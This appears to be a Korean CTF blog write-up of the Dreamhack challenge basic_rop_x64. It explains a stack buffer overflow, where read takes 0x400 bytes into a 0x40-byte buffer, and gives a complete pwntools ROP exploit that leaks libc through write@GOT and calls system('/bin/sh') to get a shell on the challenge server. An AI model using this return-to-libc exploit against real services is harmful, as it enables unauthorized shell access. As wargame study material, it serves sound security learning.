풀이
카나리와 PIE는 설정되어 있지 않고
NX만 설정되어 있다.
소스
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf의 크기는 0x40으로 선언됐지만
read 함수를 통해 0x400만큼 입력을 받기 때문에
버퍼 오버플로우 취약점이 발생한다.
리턴 가젯을 이용해 libc_base를 구하고 system을 실행하면 된다.
익스플로잇
1. libc base와 system 함수 주소 알아내기
- write 함수 PLT와 GOT 활용
- libc base에서 write 함수까지 오프셋
- libc base에서 system 함수까지 오프셋
2. main 함수로 다시 돌아오기
- main = e.symbols['main']
3. "/bin/sh" 문자열
- libc.so.6에 존재하는 libc base로부터 "/bin/sh" 문자열까지 오프셋
4. rdi 레지스터에 "/bin/sh" 삽입 후 system 함수 호출
코드
from pwn import *
context.log_level = 'debug'
r = remote("host3.dreamhack.games", 24406)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
main = e.symbols['main']
payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main)
r.send(payload)
r.recvn(0x40)
write = u64(r.recvn(6)+b"\x00\x00")
libc_base = write - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x1d8698
print(f"read: {hex(write)}")
print(f"libc_base: {hex(libc_base)}")
print(f"system: {hex(system)}")
payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
r.send(payload)
r.interactive()
실행 결과
헷갈렸던 점
조금 헷갈렸던 점은 페이로드를 0x40 바이트 이상 보냈지만,
서버에서는 write 함수의 출력 크기를 buf(0x40)로 정하기 때문에
서버에서 0x40 바이트만큼 출력해 주기 때문에 buf(0x40)+SFP(0x8) 만큼 받는 게 아니라
p.recvn(0x40)을 통해 buf(0x40) 바이트만큼 데이터를 받아오는 것이다.
payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
payload += p64(main)
r.send(payload)
r.recvn(0x40)
write = u64(r.recvn(6)+b"\x00\x00")
libc_base = write - libc.symbols['write']
system = libc_base + libc.symbols['system']
binsh = libc_base + 0x1d8698
print(f"read: {hex(write)}")
print(f"libc_base: {hex(libc_base)}")
print(f"system: {hex(system)}")
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
'Wargame - 시스템' 카테고리의 다른 글
basic_rop_x86 (0) | 2023.06.06 |
---|---|
ssp_001 (0) | 2023.05.06 |
Return to Shellcode (0) | 2023.05.03 |
basic_exploitation_001 (0) | 2023.04.04 |
basic_exploitation_000 (0) | 2023.03.31 |